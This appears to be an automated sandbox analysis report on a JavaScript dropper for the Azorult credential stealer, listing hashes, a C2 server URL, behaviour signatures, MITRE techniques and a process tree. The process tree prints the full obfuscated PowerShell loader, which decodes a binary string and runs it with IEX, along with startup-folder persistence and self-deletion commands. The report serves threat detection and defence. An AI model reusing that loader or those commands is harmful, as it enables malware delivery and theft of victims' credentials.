Analysis

  • max time kernel
    91s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-09-2022 12:45

General

  • Target

    AZ_Scan_87291_pdf.js

  • Size

    1KB

  • MD5

    1f60eb182eb8e331cf7631a3a8c3080e

  • SHA1

    6a0fc5ddc3490f6628674605cb70b8e6178929d9

  • SHA256

    b16ff5477ed1e60e82a495a3b7cbe42371243670be0250f3f05d49a6ea37a4d3

  • SHA512

    242597d3662454364a776588356cc1e796e050b6770414ac045b8574602a78f71e1755ee4d0b20530dbfabf28b007b6a751c738aa36d7b3928794797307d6c89

Malware Config

Extracted

Family

azorult

C2

http://185.29.9.47/aristo/Panel/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 5 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\AZ_Scan_87291_pdf.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,55115551,55111555,55115151,55151115,55115515,55115555,55151115,55115551,55111555,55115115,55151115,55115151,55115511,55151111,55111551,55115511,55115111,55115515,55115115,55111551,55115511,55115555,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='I' + 'EX';sal P $o00;([system.String]::Join('', $gf))|P
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:3752
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Windows\SysWOW64\timeout.exe
            C:\Windows\system32\timeout.exe 3
            5⤵
            • Delays execution with timeout.exe
            PID:416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\AZ_Scan_87291_pdf.js' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      PID:2668
  • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
    "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
    1⤵
      PID:2092
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4644
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4644 CREDAT:17410 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3784

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    2
    T1081

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    3
    T1082

    Collection

    Data from Local System

    2
    T1005

    Email Collection

    1
    T1114

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      454f9e7fa8aad19d6bac74d19b3086b2

      SHA1

      fd31e6cf15a019921faf239343ace0da3cfb06c2

      SHA256

      0f3226ebe6776806997c74f28e76ad5eb235909b8645d43d3564d823fc7834f2

      SHA512

      763af517762363994c0da1bbeef555ce4d8e7928b8dc9ece3aa90a24a232490f990c1948687957c55df2b010cc95c08267e4c5df48645739c70416c60a54840e

    • C:\Users\Admin\AppData\Local\Temp\2fda\mozglue.dll
      Filesize

      135KB

      MD5

      9e682f1eb98a9d41468fc3e50f907635

      SHA1

      85e0ceca36f657ddf6547aa0744f0855a27527ee

      SHA256

      830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

      SHA512

      230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

    • C:\Users\Admin\AppData\Local\Temp\2fda\msvcp140.dll
      Filesize

      429KB

      MD5

      109f0f02fd37c84bfc7508d4227d7ed5

      SHA1

      ef7420141bb15ac334d3964082361a460bfdb975

      SHA256

      334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

      SHA512

      46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

    • C:\Users\Admin\AppData\Local\Temp\2fda\nss3.dll
      Filesize

      1.2MB

      MD5

      556ea09421a0f74d31c4c0a89a70dc23

      SHA1

      f739ba9b548ee64b13eb434a3130406d23f836e3

      SHA256

      f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

      SHA512

      2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

    • C:\Users\Admin\AppData\Local\Temp\2fda\vcruntime140.dll
      Filesize

      81KB

      MD5

      7587bf9cb4147022cd5681b015183046

      SHA1

      f2106306a8f6f0da5afb7fc765cfa0757ad5a628

      SHA256

      c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

      SHA512

      0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

    • C:\Users\Admin\AppData\Local\Temp\cecb0c0b-4550-4098-9844-f88c90b440d3\AgileDotNetRT64.dll
      Filesize

      75KB

      MD5

      42b2c266e49a3acd346b91e3b0e638c0

      SHA1

      2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

      SHA256

      adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

      SHA512

      770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

    • memory/416-153-0x0000000000000000-mapping.dmp
    • memory/2324-134-0x0000029334A80000-0x0000029334AA2000-memory.dmp
      Filesize

      136KB

    • memory/2324-138-0x00007FF9F9E20000-0x00007FF9F9F6E000-memory.dmp
      Filesize

      1.3MB

    • memory/2324-132-0x0000000000000000-mapping.dmp
    • memory/2324-146-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp
      Filesize

      10.8MB

    • memory/2324-136-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp
      Filesize

      10.8MB

    • memory/2668-135-0x00007FFA01B40000-0x00007FFA02601000-memory.dmp
      Filesize

      10.8MB

    • memory/2668-133-0x0000000000000000-mapping.dmp
    • memory/3752-143-0x0000000000400000-0x0000000000420000-memory.dmp
      Filesize

      128KB

    • memory/3752-145-0x0000000000400000-0x0000000000420000-memory.dmp
      Filesize

      128KB

    • memory/3752-139-0x0000000000400000-0x0000000000420000-memory.dmp
      Filesize

      128KB

    • memory/3752-152-0x0000000000400000-0x0000000000420000-memory.dmp
      Filesize

      128KB

    • memory/3752-140-0x000000000041A1F8-mapping.dmp
    • memory/4712-151-0x0000000000000000-mapping.dmp